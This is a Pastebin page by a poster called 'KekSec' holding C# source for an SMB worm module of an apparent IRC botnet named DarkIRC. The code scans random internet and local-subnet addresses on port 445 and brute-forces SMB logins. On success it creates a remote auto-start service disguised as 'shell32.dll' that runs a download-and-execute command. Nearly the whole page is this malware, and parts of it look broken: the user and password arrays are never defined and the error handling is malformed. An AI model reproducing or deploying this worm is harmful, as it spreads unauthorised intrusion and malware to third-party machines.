KekSec

SMB Retard - SMB Worm library in C#

Aug 11th, 2020 (edited)
1,052
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.69 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Net.Sockets;
  8. using System.Runtime.InteropServices;
  9. using System.Security.Cryptography;
  10. using System.Text;
  11. using System.Threading;
  12.  
  13. namespace DarkIRC
  14. {
  15.     class SMB
  16.     {
  17.  
  18.         public static string dlexe = IRC.dlexecmd;
  19.         public static int bruteSubThreads = 64;
  20. //password list can be viewed in this paste https://pastebin.com/6jiaGSNz
  21.  
  22.  
  23.         public static void TestPW(string ip, string user, string passwd)
  24.         {
  25.             ip = "\\" + ip;
  26.             try
  27.             {
  28.                 using (var scmHandle = NativeMethods.OpenSCManager(ip, null, NativeMethods.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE))
  29.                 {
  30.                     if (scmHandle.IsInvalid)
  31.                     {
  32.                         return;
  33.                     }
  34.                     using (
  35.                          var serviceHandle = NativeMethods.CreateService(
  36.                              scmHandle,
  37.                              "shell32.dll",
  38.                              "shell32.dll",
  39.                              NativeMethods.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
  40.                              NativeMethods.SERVICE_TYPES.SERVICE_WIN32_OWN_PROCESS,
  41.                              NativeMethods.SERVICE_START_TYPES.SERVICE_AUTO_START,
  42.                              NativeMethods.SERVICE_ERROR_CONTROL.SERVICE_ERROR_NORMAL,
  43.                              "C:\\Windows\\System32\\CMD.exe /C " + dlexe,
  44.                              null,
  45.                              IntPtr.Zero,
  46.                              null,
  47.                              user,
  48.                              passwd))
  49.                     {
  50.                         if (serviceHandle.IsInvalid)
  51.                         {
  52.                             return;
  53.                         }
  54.                     }
  55.                 }
  56.             }
  57.             catch
  58.             {
  59.  
  60.             }
  61.         }
  62.         public static void SMBHaxx(string ip)
  63.         {
  64.             int count = 0;
  65.             Thread[] threads = new Thread[bruteSubThreads];
  66.             for (var u = 0; u < users.Length - 1; u++)
  67.             {
  68.                 for (var p = 0; p < passwords.Length - 1; p++)
  69.                 {
  70.                     threads[count] = new Thread(() => TestPW(ip, users[u], passwords[p]));
  71.                     threads[count].Start();
  72.                     count++;
  73.                     if (count > bruteSubThreads)
  74.                     {
  75.                         for (int i = 0; i < bruteSubThreads; i++)
  76.                         {
  77.                             threads[i].Join();
  78.                         }
  79.                         count = 0;
  80.                         GC.Collect();
  81.  
  82.                     }
  83.                 }
  84.             }
  85.         }
  86.  
  87.         public static void WorkGroup()
  88.         {
  89.             while (true)
  90.             {
  91.                 using (TcpClient tcpClient = new TcpClient())
  92.                 {
  93.                     try //scan an ipv4 address
  94.                     {
  95.                         var data = new byte[4];
  96.                         new Random().NextBytes(data);
  97.                         while (data[0] == 192 || data[0] == 10 || data[0] == 127 || data[0] == 169 || data[0] == 172)
  98.                         {
  99.                             new Random().NextBytes(data);
  100.                         }
  101.                         IPAddress ip = new IPAddress(data);
  102.                         Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  103.  
  104.                         // Connect using a timeout (5 seconds)
  105.  
  106.                         IAsyncResult result = socket.BeginConnect(ip, 445, null, null);
  107.  
  108.                         bool success = result.AsyncWaitHandle.WaitOne(1000, true);
  109.  
  110.                         if (socket.Connected)
  111.                         {
  112.                             socket.EndConnect(result);
  113.                             SMBHaxx(ip.ToString());
  114.                         }
  115.                         else
  116.                         {
  117.                             socket.Close();
  118.                         }
  119.                     }
  120.                     catch (Exception)
  121.                     {
  122.                     }
  123.                     try //scan an ipv6 address
  124.                     {
  125.                         var data = new byte[16];
  126.                         new Random().NextBytes(data);
  127.                         IPAddress ip = new IPAddress(data);
  128.                         Socket socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
  129.  
  130.                         IAsyncResult result = socket.BeginConnect(ip, 445, null, null);
  131.  
  132.                         bool success = result.AsyncWaitHandle.WaitOne(1000, true);
  133.  
  134.                         if (socket.Connected)
  135.                         {
  136.                             socket.EndConnect(result);
  137.                             SMBHaxx(ip.ToString());
  138.                         }
  139.                         else
  140.                         {
  141.                             socket.Close();
  142.                         }
  143.                     }
  144.                     catch (Exception)
  145.                     {
  146.                     }
  147.                 }
  148.             }
  149.         }
  150.         public static void internalNetwork()
  151.         {
  152.             try
  153.             {
  154.                                 var host = Dns.GetHostEntry(Dns.GetHostName());
  155.                                 foreach (var ip in host.AddressList)
  156.                                 {
  157.                                     if (ip.AddressFamily == AddressFamily.InterNetwork)
  158.                                     {
  159.                                         string subnet = String.Join(".", ip.ToString().Split(".".ToCharArray()[0]).Skip(2));
  160.                                         for (int i = 0; i < 255; i++)
  161.                                         {
  162.                                             for (var ii = 1; ii < 254; ii++)
  163.                                             {
  164.                                                 byte[] data = new byte[4] { Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[0])), Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[1])), Convert.ToByte(i), Convert.ToByte(ii) };
  165.                                                 IPAddress thisip = new IPAddress(data);
  166.                                                 Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  167.  
  168.                                                 // Connect using a timeout (5 seconds)
  169.  
  170.                                                 IAsyncResult result = socket.BeginConnect(thisip, 445, null, null);
  171.  
  172.                                                 bool success = result.AsyncWaitHandle.WaitOne(1000, true);
  173.  
  174.                                                 if (socket.Connected)
  175.                                                 {
  176.                                                     socket.EndConnect(result);
  177.                                                     SMBHaxx(thisip.ToString());
  178.                                                 }
  179.                                                 else
  180.                                                 {
  181.                                                     socket.Close();
  182.                                                 }
  183.                                             }
  184.                                         }
  185.  
  186.  
  187.                                     }
  188.                                 }
  189.  
  190.                             }
  191.                        
  192.                 finally
  193.                 {
  194.  
  195.                    
  196.  
  197.             }
  198.             catch { }
  199.         }
  200.     }
  201. }
Add Comment
Please, Sign In to add comment